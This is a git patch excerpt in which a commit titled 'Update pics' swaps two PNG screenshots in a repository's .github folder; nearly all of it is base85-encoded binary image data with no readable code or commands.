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 literal 0 HcmV?d00001 From a3165ac0a944a1eb5362111342c69a5c448889e2 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 00:54:01 +0100 Subject: [PATCH 17/37] Update pics --- .github/getapplication-verified.png | Bin 0 -> 37062 bytes .github/updateuserproperties.png | Bin 24840 -> 0 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 .github/getapplication-verified.png delete mode 100644 .github/updateuserproperties.png diff --git a/.github/getapplication-verified.png b/.github/getapplication-verified.png new file mode 100644 index 0000000000000000000000000000000000000000..410400a36da68c24d3baba671ecee954eaa07b7b GIT binary patch literal 37062 zcmbq*2T)VryDf--f`E$jswgO3k={g*j?{p35NV$d+)xvZ|*%aXPBHh**RzL{k8S2#XFtnDpVBA6huTsRBEb9dPGDd zEks1bJXgpFS7Jl7L4-fVUV17|i7JL!HwYgt+bd`(5D|S#qQqL05P$6~7`PN;XwfQZVqhK+Tc+-vZ2#E!g{w1<|yMZ?N6cdGh1=jq8``=x*u$5X90e zU1zC>Mw3#~^WUdW{`%FsWHhKUJUMwjWiD*KrY1i*XYS4Ar~a-Lt&@`W_G_9`+bv%G zA2-FF9Z7EdIdt#YOyGI${5ik|jC(i#UM=|XI^*r1gZCa;i_)LN;K9R%dw*{Hs{W2x z=PXRrI{$#L`@O__dnaT1{YiaYtSB7wiwrcCSIfLKgf351mT3R;gKF6g z$h}NW?#BUE!g^@-j*%$7?RRq4d+X;?&H+rl7^Ff_CJR5?1x;bJ;?V<6w|$Z-Hh4yf zh-&sVmNllJ;N>sr--RmykyV_|0=_@xO}S;%WjgXf51VKcEcv2Cma z{b*A6W=Vx84DF?pH(lkZ;)@XXy3yd;46-Tf;!A4ZMv>NZM^L56DcPAtfE53{rT4z1 zn`jH5slf=Jd(~HzJC5c$jC!vWT=bpC4R7|sNb9vgXer23%xMt9`@MDtr>os(Pfc&_A9zq>Mj-Fkpy5-0fJ!{yxg zNf_38V=bMgb9pm~IM;phrD0dos?7^LQ$fh68hq{0U^wE@GVP+JsCq6h+lHcSz^K<` zt@S+%{|m<#{B}x8Z;PJ^ zaq`^=&|r@)=)s_q9Luuge_fh%8^;`44tGXu!j-xfL#jd}T7!q!*$YQ0rcXz`UuD15 z-_4SJe5>ceEb2!N23GssrT2*pE=>F7&g|Lx%!#t|bSfky373q;=gI$4tGD z%xlzcSj^z$SRln8yBz86act+~Lc0cpkX7rCZeM-mpcnqRm^066GCeD<__@H13GhQ- zO^k(hoiwd#A?s-RZh@AO!Vb3MNvEK|*fp<1U13-wF*n3P0HI&d$EgFhEGzsGo-YP@ z@HGwBDoVb_S4h-1-NZFR)RW%Pky(1foS5>a})(Zkko9cwo<+31#M zC!I}2?p6HG0mf+Yo3EO>?4s1pQDP99`mq^6m6LScjruwvM_pT+C+R#~kFsQ}(o}BI z`Ly*Lzu9iC&D)VrFP1QEa5d_vc=64XuF2d-pkiYVS!VUucNSMm2!;6T)ASVMNr2K} zWl6^iG6GlT$n;-1ecYVCoRTr0JuQB-5Nxy}FL=Kt3K#aiN(E={h!f^FFYLVa!c;2@ zXi4sc+CuHhhFDj?Pc(B)wszdCV}T?ZJy&~8&l$^R>7)14yo&b|e zhEuG-J_#XG$M+BD=PH4LvgboaqIGNZH0`54y!`O6%FG8yChEIBp#GA$?Mc@9ZPvTa zh@ztFf41Cv>1&uh*T4X&>J+`>R4@1fn&o{)P8^9m|G2&&XXTTREY~h|W_7L5Rsg-r zWALL9F!@?d9!6ECG#cKkt~#M_&R0R>rdCDsHzWbbkOk3jYs6qc)#_Tu z7}Q9+@pZNS_Ryyc!g|ZcaJikOm{jqF`*&aQeWsccIQfMXbnmKfl&Cm)!YTdptOlYgu!3>omw~{)u0WOA5 z&ecm%hj}-qtKZ83T4KEgTd|{*Z)4+s74^Q2iHW(`=?w7SCUKbh`biGpNoUP6920>& zZrl;!O7jVuVDqQyG!>sH;w{|U6As1<*`Io!V*=GzZ|XEiO>417Qdi2w8ZPgQ==1UT zg(CRQ-2ed=d3%26OL}&qErsied+X9Pg}^zhjRR(x3LJCc+ljym;u_K$a71JvG&C+c zB}}owdI+y&KzY*k)6DUxn93wMfLujeleFvi zFAZ`&*1x@$Y|z{rp4>n~?FaKn%ishyY2OWfo86+Ist;1$++P!P5-z{HWKd<+as z^Z@ZSP&bjr;Xfr6#4#*%knfD?Cp5U7^Xyu~`XSI3U)1F5dKVOgW`2I&A5(7h&2{J| zzu6w;^v1?cGO`Je9yoc+zxK7uSTbt%iHQW>zD36NE6CGT%Evh-`PcQ3O=smTuX-w< zt?{2Hh@tk)Fnk9VVP9&S&6l@q^`n^o-UIuN!)chDmoIi@*8Bi^$@vB3l1SU>m5~wM zz{H#yoTGOrXyD{aZKsLoQzcB{d1_Gbou}4lIf(ht4u=noMVL$MIjE@%-b2nNRjXJB z1{|mM-#c!9SQfS;yM2Z=k}cRyUCX|&y@PGb=q9WkFVrbDwhd+QV(M}WH_gZ9R%#Z_ zs(U-pKD*jgYx%&9z_#%9P?}C@uo!i#k33q7Ilh*y)EeD#dQOd*aK5(7>vQ}7+`AHE z3ZxJ8-YqO*bb?h&W}v_ue9KW*{(Rb#>(cua5Pv9Q6;x(oTN& zpbR{2V>+2Xxef|gQ!^;JiF#C7*7qz-RrSgaW2jJ*#S{ylQN_;zA;`ibXj+B2V2^oM zjP=6j84p0x*8b2S#}Vr?iX~u|(Yx(yQQ(~a;gcV^atSUozQrvgCrNLLig={V=V>`K zF_(ASFk~$)vly!N@e)}*eSMEjgKW@CdxK%jPAf}gs}z%I!!+D--mDxtCDwx3**e{6 z=BUGsl2k&@sOJNhZ9fhn(J3z8tnrL#1v32`+ozfMOxj85`J{bQswT}uQyx8l zPy-10FRM}K(+S7eO+W3YxT^@RuO~UYLf;kL#@XZ*3t*wAkxz%Boe~476xb@Cp;U^# zT>LP;0!Mo6m5f{wRe`(K)@e|*6*jsWF4#Jc;-hiDDzd2?sn}-LylzJ+K zD7H9gTX+;zb8H+;0!XMIcZCOFZ7!Qls6oGF+{@RnG-zIy1c1H{@YBEoeUxJ|I1IIX z1X*O)H4mQ$xE|P^AYv0MWuxn9Rk+HcLM&B$f#E;7+!VHuJNjBdz>}?TU!g<=Sm`v= z+PihZ@)6hm7v9`Pii6leo*U>r|3jEBr41038cIM||ABuZGMzvW9WSS^9k5yqGmakV1P$rul zH4+W5fcP?jf|smiMGYp(w>vsc_aYkrR3FBH$J_4_ z2MYCWr#XuI7eQ`d7jM6?bi?u0a)ZMfLNIwZjSJc=@hyQ7<5=Ll|lIh6~pA8S?>NUT{#mhp>aQSFB9JzQGWF5Q68<0658(&7{4fQs3G z9v6RPE6oiChRXDmj~|PXjBb_+k#20SCB4>e^YLkDA-tD;PG6lf^bQPkrOh>Q3J6fK zNl)URe}D99?+I3T%RYoRS64EF-#D=iM`p8JC=jS_J&dm7E3bRvJnSZ4oVlsO(TAUJ zGO_fS(E&)a`vBoTp^!n{u{e5xiA&Tpk6osfw3?TO#cs(`fBk+I-@gRTt{8T*#|%#G zYdnA6p}!2$N2bGo-7RNfUp?|V&7-q(XorWPUT1QthBFN8Pty2iz!@z4O+aK(j3_H9#x1!c;Vg}zO#e8Trk=#)?Th@^GCOoeEC zD8f9XDCg5D7H>Tkod$l^$HM_B>fbsYX2BKqBR+D3ol*>>^BV|Ih2qYn$1CkC%|5s! zAC4=Sgi0L5*MF(CeK?IC6|AuvV&2TQ#Gc5&&Q}`kdmO_QQC~ilIz6zTaW$aV9o@QW z?G3t`hsYi+gE~MMSD7AUy%t|iMQhY@6mA+hR=NsDHT?Q22_Lcyb~2AHqm8lB5^7t! zht8l$uE)qLAr7uQ7dpF9!~lJ25shnX{}8%fJ_0tBupN_s+v1q2?ziVQP8@>>VT{3_ zaCSBw$N1F+1}4_0IEnon(a!DYDB-#>xd!yV9K9jg4b8~Nd|SpPUDr~7UiA7kH{1Ir z+s44Kz2o<)X2;EeeV7!;t)1p2=MY_!>seWhaX9_xJ8M}PH)KyA2ngYmnzfI~OwMny zhTra#N_#V7TfikUM54p+f<5eTXQgjxX)#=@cT4MgFn{2(-C#@%9Fd)hH!2yHRI1#Km$D>zht^Po$;4T0wKQ^BLs(eqs3f zWTW)jU`~=fC{z#nt$DM*f>C(S*XMRHbgp5!df?#q14cnWD{_8ex|j zsM!-uYdH!Iwn=C)yWBAB_NlznQEKpC4>C0!8gPyWJ%Lwblv3`_HKRd}&uvr1ZTk;j z)cDFaIrJb8p^&Ffo`hPy%v-iMpeNse-tQQ4^IF?_a29_MJ63J$^(OjqDd%eLGlx;BLRAn&o#Ou8E+t3caSr__*&RmPt&fmu|CIB{HJVl0BzDBrMRfG%er(-H;D z$&vQ^mJvK*F<>ZNxW@c0MldWy8PY&Kzu4h$zHogzOOivanHpSc64KPQZQU`A$8h+zNYft2SkNR9 zS*G!1;|ir}f=(=CaD$YpT6IaQkM^T79$w%sp59q@VYrX+OlVF zo9+v$CiZCPbKiOJfNA-{Edtng`>@V&j=~MU8**&UA;0s`XGhX|d-8c*G@;5%1HQ8z zKVCM2wUlJl%)Ggsw{stY-`BvBQ~_A-ffAW5c~? zT(%(_-AEYKaFYC)Sq?+zy5II0@@MI>PxGb;irKXgJ+ok;p`Pb*-^Dn-zO{BB*kSN~ znMo_zT+saME!Xu*SLU_VDSTm5Q@ZERV*Y|wkgyaqKHYfwm_%{~N<|GI zy~^R;c=^M&^->ckbuVVi;swpH{^6&rIg$Y_NarmxOD$=eeabhYW9;pL(MF1q47Kt* zgf#u=bB{r$;?G4??<9oDQ5w$a(!-mUo^^}d$*?Ifx5+VLH_2M){?7yY6mne*t=I0rmJXyedkRFEI4 zE+kwPGyaCnvX*)3YTss}U+08u)!GVJx_YrZlT-N;nSdk(HZOSgCqzp}LjXM(ilF?y8LB6YikxJx6&{0&DCrZ8;d6(%MohtjkXYZ46N zuC>8)E@jL#oud>_ZdyQw69ajUR6X1)n^5|AzNcjgQip}cnVz5MDtt~=W87g7|93B- z3o1P{k(jaHVU>48heGH4iYcYY^SnA?XO2ha9^iPqVB>i!9f&y8;ry2lE2!pjkvM8x z|K3MnxDBPz(;3xQKY4CDo+yY4hAVnNN|aYV_PV_f=IGwe4eLsh$97Rd~oKxa|ClRk6RwZRO`9o#~0$K=pYEl00DhEO7I3#f*^iq&^- z8!zV@e>=dd1G|J6FGo+$jV2#|szs%@_3H&~a}G68PVCX&^&81atKp18tF)bQHEiko z64ppJ%zKNvNm=__4c=uqy$a(+W z;{saZaN-xuzO8|7N||1;5_65*>J;WzXOaB4!Tfg_kJa`^E;;4d@C+U2yP0^zAIt*k z)N6rlM%f=y$JlNbpPu?NoZn8y=~e}3C>->FWuQ*>!>eYVzHO>51=su!*O&1{WK5;{ zMf7sGm5{r4?^^YZ(mg+1iO~$5&G)U5Q0{@k8Zo>I4IvV4V7T`fJXZiwpY_IdOLkN>RAxNtj9F#_g?C7QF)- z-j0-P#j97*kT_*qrr<3Be<1eqvBgd;&#hC;YFRb`YJ|({%H)N(9EAw+Dq!Zx$jLYK zhb3po8ruWb7kM5M5N`jacQFrx&~9%>LRXTU7z#THNu^7q;>a>*_7EW<$ZPra%c|?J zsW<{Nn6u1NM?8>T-ahSv-*_;5QZ(W><`K#qVwC-03!?Em=!U}X0215|K-jI@w;idX zPb9r^?9j(@TO!nni1E?b*jNL+#&y1YLrW!KSQ4v@jO?!_A4;FZ?J=jtf&lPu@cG#D zZ6dGC-pAy#H`3kwC=ZFFnU_kr>QBm9Dh-CRXrRXNlYlIMg&NvkLHSU!d02`8d1#WC zkJwmJr7D?haD$v%N?_Ph5SJPsY@W*Aclwvf#5T-_a>USZbWc7!DJ^UoJy2+Rn|fpd zmiP~5qtPs9kLd=0ZWIx_fzXlqcjyIv4GrkHxky9aJZSlZ&Y1ds23Xq<*^8|xC+!27 z{Mrr<5kpxj9Go$8S$2Md@^CJ<8~Q67C=TiBAJ5hpV-=JAtg_@*+aeBExqG;f-tiQ* zxGe9d+tA(OBaxLPudAU?^6QO&t^(n=H(U3vTp5YLXl;f#s+Dj2WRM>zqVP%=Bw(G3 zbe?F^On&X1D+3%JDhXxwpE*3ysWLk5$f zoQZZ%b~3R`PT<|w*k1K9>PA(sw__KdWh8fux2I~fwI67P`p02zFnP|HpEq~ruPqJ; z$?1{&=FCAO{~#kAVUhc;mSng_iQY|?*jKeH2mS>Wc6UXDjS zb58;^yEjFhV3<)}Q~+wQFy_z4XYoV)>#IB#WBt>@lgPi8gR0H^$Pkl(@ z>!;@oqQ#apVHd|qnZC&!6-ZDBg$;Y4nHId%v`9yPW=R#&b{}=;ET;h#cA{7dF_&y? zoR&nD0N>@LjnUyQFB92&uzFJC~%Aawz%jUuDvvz;LDfW z8+XKc7v5R+Rb zvOyd-{kDzZiUo7If40Bp{f%AJS=)qra8g3s*v(ti%#)ULPo#oR--0rs9$a~xd5DLN zpk#WE#I1J`vBn1PQuF!4O@z74aI$>X~9i_e*d14EX1P7nO*TfbMQ zt_60&0_~z>@w#IsJ0EUSe>QzJu zp?HyF4|RB)|E}if;RludTX%5JDT#%}A^7RpY3pazFC9q(&2J zDM|j~Cjq_$2jpufKlU(d$v+af)8F;SoEWBz^te_SRiB1tze>JZlJ=-yLrtway?n+U zRo7|&I`T+-+q+x2yM21q-uC@!5^Qv}$5=H*-*GKKiSlmzftm4X&mGbAkF2H-l4L?( zO&z2~&mak*B=UCTRmq(-DXf@1s7XRD6#E8PagRYfvAJcq_vEuyv*34dkI&{kKR^5l z#F1C$)^Ptu>`0sMGqTy_-I&X%2j(B_UMZWoL`FUagdQds39qh}OtN_?( z+-+tO`t=?|VF3c!D3QG7llJu>m^n^`gQL>qtpp=VJMZw&tc?cwG_&p;kYE5QeWa6C z|BZK!U``*yCcyjT%n0$l!C;TA`Y#h&Mjc;qt}|g>18aSkr2SC3c*w~P%js#C-?)fY zhEvZ|AgE$2vHWN?C^RA@-`NpumK@wrzyv-T+JT>N6LQ}Kpd2B+HND34h^RH_#DHY` zyY!x}aoo-{{k(Nx26G&}1O1ijW+-U(xHn3itKEXn@-tTXkjdQssy*_J$Z9~jE~{VL zSh;D#k5mSpg>Nc7>klfJ%p+Z9+VqbbGeSJ)eBig3d!Cp$C;{P$PfcDcDL3sPHe+k5 zzt^CK8C`PYnK&cC6gAy)+!0(lqD|?%sQQfm+rnt~3cK3_*J(a(A-+BnO0bS~rI}fj zx0*YZ$B_)P;R7iKONO_Q&`h>@}er(x4v3doFpe&gg zzQ{{HKv-_#1EC=?nKtv$M)_OqvcAJAo1eOT>Rc+NwvDq-FGN=gQ_JL)j3paAX_qFP zpA8i4DEGkG6%2ap_V(%!N|W+iH2yJUU|mucg!J{Gwo~J|68`epT20pTfEy->&E(~| zjYhb|j5hw;L-Cm4xK>MCB5+Rn^Hf*Y^^gF*S3jEIwRRh$beqPBqi`+dmXzk<#5HNR zwqrp(y|MB8uOESPuLa)mt7T=?y0;>kQezhq)#T$;>S&)&W}La)*Bfylqk48nXhLu$ zza%^IaRcTs31J}8tR~b37QDn7f8e`48+A`3qx8n^8uq-Eg8GdatNPR`ekS^w-fqzG z=9hy|?1m94X;^0P{6YiUyd-qgcoyj6L9o&sm*$aki(p6axvohgR;UF7f$#rF(at@7 zn|%08kkvMI4Ja%1RlUJ?GvtL6rk#}lz+~qLc`AhL7RPYrnfE)qsR_$2LFbwsF|EEU z$_*vqdRQ(`ezKL>UFsPf4Yp~x+Upf8{TALj=2}2jw9OOsP zFYkuC)#8?><`6R>h~XHu=Ia&mKjy>Ee^rK+vIL+k*-JrhuaD+~OmWfX0cx0_whKrC z@N~S%=p^vs}w@v#Po=(VW zLbKy#qiSoh+_T68`X|OMvLj3H7N;NjUrX58j4{t0maC~WM?q`zc#^AJDw#bR6MWgY zaFJ0X!OC#s&MC=7%>Z*JMqFF-`SSs-yN%X&BSCa`#l@O@TFss zqHo#BHNBg=9N4#R((mxwA7*Y{HTqqlY1GK&;g*28Ob=mhlcPQ_wgqb#_>EdgX68Ap zWna<|30)4zhi-JsbGjJy0X58ri%{!QNuh6-E!*7JM$`=U`{o`tvfLX|d^0{bzlQ&3HC1l293ua z`MZc8RwsA3{32JF><->uzKs)l^(&Fm)9BOs&2FpWSNZkN1eFH@A!&92%C-+GJ#UV5 z7nwJUfuX?xmz$N4oj2*(Wp%?Wxt(L^9d2|-wI04iA3R%oZ(e2ho&7!`SviX^IZ?6* zqzAN7b6sge);GS==m{RGxfv%g+VlPrM!eu|8YP zfnJRrRg3UG6Tf*25dkIo*+~ldta9Rt)+CYk-F^zS5MMkLYWrEJWqM@rmj-cQ-O!NmcLn+X&>F`Ox%=Jr9544j*z$hl z1uMq*`Xf>By)8Egm!KefB-wEcgg)4(wOSkquPC_0b@ijHjEpcUPka9iX<2ec=>IXG zX6nKl=sA5*o|1{IlCjMy@yec_6z3<+#xQsGq<0EMiKzEk88KhFb`*lKj$LPR7kg}2 z98@p(1eXM48_G0~7Pkz$Dn9#|h$exlJe`G!DKW1nvCFQ;y4S_;_U+pv?jbk5=eFTCZDYcrfEqptxERZzM*ax#oY<{tNfPdD{~BFAr9Xz6Ezf2yJcurTuT;&o_5Au~O~}*Fm9ZQWtqP-NU(2 zNK(_M8;rN!oRKEJcdys{vss#IvjJT*Rn{T3Kmvv|h*i*j;Eb9+K1DZk060ISr$=X4 z1hNsTMuUL;{eAzvFFhX5;1(vFN386@3l?dD`O(^!nvE<%Xy+=L3`HTRk!AHXI2hn{ znUs7n(s9h=SX7)#NSr1^^qaV%Sf&v7+T}ZUI>&?d*STnx62uX(OUiun7YNM9^YfV( z)!veUmNN`+3%E9EbEiW{-cB<)p&y5#3cKV`PWnS5o!=unzB6+8##;fXexl}LRZyu*p5clg>vdHRV&+SPMrDxB;Cxl=eRhcVv zf#ri_KaFtr%fj}H!OL{nSn6DYHv3d++b_a4U!bPzRPb-S5MknqY|w~GW?1P)WB1nN zH`!=}I+LDGQayw}8C1H<%?<2%K-=uQqntV) zHs$c?j~n)Ol;m3|w}h~xcjhYRcc)v)U8a3HMs4}NxnQ2Bahm`;rg+96I=lBcWj@0{ zQ?dS{$$cJXNtJ&WC(Wi1bIlj_Ss}!EuHIaW(lN2wepfEY0(U-r;8%RK2`dHLwcU(o z9^!fVJo|~#ciDxsY4fY`lpos7B03}DCwRi=IwE7B<98{pk|lA-6T7*&1sT^8sjJqw zI9_aD$xKkCax+Mkbx8MAck$8Xz3(luP;OpYIE@^A97Mn_!H$iOMKh+IjmT)266wpO z7y=t9t`rOscrS?*f>~lNU(t@W^vV69rRL3r6ypWj9{&Cxfu8&`dhU>cgov**+{D0v zbb-Adjwq6_7&s!Bfxrv+xm5{ya|VGb=P6SeG(9#-_h~);IdJMY0pGl5`$2B4B3xU!H@nXfE zZu2eAW;lkbT(WT7Pqz#OC}Cv-ZM=cYUx0OBRW&Wi8u_>n)7TUFQ%3mFPM)iOJnKWV zf&r?xVMgU0uN4|{1N!d&3PNvtHU68Mq}y|yYN8THc(+pU^V5qonT;4Hj5hn_wi?2W zMHWG_6`fzh(u?heZnC1+L+_zCMZev=d*(oFqUv5nF~P0Lm;{BKs*8H0wP=~NuY4{P zpCWmhcc!EnPrs-9X8HX$nqoNusR%h_ml7BNR0y`RdaW*QV(IK$22AIR1gL%HNqQNG z^Vx86g2`vd=Z>>WuX%M_bg{gPVP}mhdDj0RzkYmR;BfG@CUskz+(&7o3ijZz0eGD! zMlmMot8&8T>0X|;ZXJ*g7H^d4kU`$qaa;7F8fu$s!q2X%uCCle?efjD8wg`KpZvz? 